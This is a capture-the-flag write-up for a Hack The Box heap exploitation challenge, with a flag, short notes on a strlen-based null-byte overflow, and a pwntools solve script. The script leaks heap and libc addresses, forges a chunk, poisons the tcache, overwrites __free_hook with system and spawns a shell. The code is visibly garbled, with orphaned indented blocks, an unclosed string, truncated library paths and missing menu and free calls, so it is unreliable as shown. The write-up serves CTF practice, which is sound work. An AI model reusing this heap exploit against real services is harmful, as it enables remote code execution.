In order to automate our procedures, we have created this data collector steam robot that will go out and ask questions on random citizens and store the data in his memory. Our only problem is that we do not have a template of questions to insert to the robot and begin our test. Prepare some questions and we are good to go!

Category: pwn

Solver: t0b1

Flag: HTB{r0b0fl0w_tc4ch3_p01s0n}


  • Libc given, 2.27
  • Challenge allows to create, modify, show, and delete questions
  • Using show, we can leak the heap and libc base address
  • Modifying a challenge gets the question size via strlen
  • This is problematic, as when using malloc chunks of size 0x8 we can overwrite the size metadata of the following chunk
  • Therefore, we have at least one byte into the metadata of the following chunk
  • Similar to the House of Einherjar and digiheap challenge from last year described here
  • See solve script below

Solve script

# Solution similar to
# This might need multiple attempts when address leaks
# contain null bytes.

from pwn import *

LOCAL = False
DEBUG = False
remote_ip, port = '', 32297
binary = './robo_quest'

elf = ELF(binary)
libc = ELF(".glibc/")

context.terminal = ['tmux', 'splitw', '-h']
context.arch = "amd64"
context.log_level = "info"
# context.aslr = False

re = lambda a: p.recv(a)
reu = lambda a: p.recvuntil(a)
rl = lambda: p.recvline()
s = lambda a: p.send(a)
sl = lambda a: p.sendline(a)
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)

libc = ELF(".glibc/")

    if DEBUG:
        p = gdb.debug(binary, gdbscript='''
        break *main+202
        p = process(binary)
    p = remote(remote_ip, port)

def choice(idx):
    sla("> ", str(idx))

def create(size, question):
    sla("Question's size: ", str(size))
    sa("Insert question here: ", question)

def show(idx):
    sla("Question's id: ", str(idx))

def modify(idx, question):
    sla("Question's id: ", str(idx))
    sa("New question: ", question)

def remove(idx):
    sla("Question's id: ", str(idx))

junk = 8 * b'A'

# Leak heap via tcache next ptr
create(16, junk)
create(16, junk)
create(16, b'A')
reu(b'Question [0]: A')
tcache_fd = u64((b"\x00" + rl().strip()).ljust(8,b"\x00"))
# Offset to heap start found by debugging with GDB and running `vmmap`
heap_start = tcache_fd - 0x200
info(f'heap starts at: 0x{heap_start:x}')
# Cleanup

# Leak libc via unsorted bin
create(0x500, junk)
create(0x500, junk)
create(0x500, b'A')
reu(b'Question [0]: A')
main_arena = u64((b"\x00" + rl().strip()).ljust(8,b"\x00"))
info(f'main arena: 0x{main_arena:x}')
# Offset to libc start found by debugging with GDB and running `vmmap`
libc.address = main_arena - 0x3ebc00
info(f'libc at: 0x{libc.address:x}')

system = libc.symbols['system']
info(f'system: 0x{system:x}')
free_hook = libc.symbols['__free_hook']
info(f'free_hook: 0x{free_hook:x}')

# Cleanup

# Exploit using House of E
fake_chunk_address = heap_start + 0x2a0
fake_chunk_payload = p64(0x0)
fake_chunk_payload += p64(0x325)
fake_chunk_payload += p64(fake_chunk_address)
fake_chunk_payload += p64(fake_chunk_address)

info(f'Fake chunk starts at: 0x{fake_chunk_address:x}')

info(f'Setting up heap')
create(0x108, fake_chunk_payload) # Fake chunk
create(0x108, junk)
create(0x108, cyclic(0x108)) # use this to overwrite next chunks prev_in_use
create(0x4f8, junk) # to overflow
create(0x108, junk)
create(0x28, b'/bin/sh\x00')

info(f'Using null byte overflow to set PREV_IN_USE')
null_byte_trigger = b'a' * 0x100 + p64(0x320) + b'\x00'
modify(2, null_byte_trigger)
info(f'Freeing corrupted buffer')

info(f'Freeing filler')
info(f'Freeing tcache poison target')

# tcache poison
tcache_poison = b'a' * 0xf8
tcache_poison += p64(0x111)
tcache_poison += p64(free_hook)
info(f'Creating new chunk to poison tcache fd')
create(0x200, tcache_poison)

info(f'Creating first chunk')
create(0x108, junk)

# Overwrite free hook
info(f'Creating chunk to overwrite free hook')
create(0x108, p64(system))

# Free chunk with '/bin/sh'
info(f'Freeing chunk with /bin/sh to trigger free hook')

info(f'Enjoy shell!')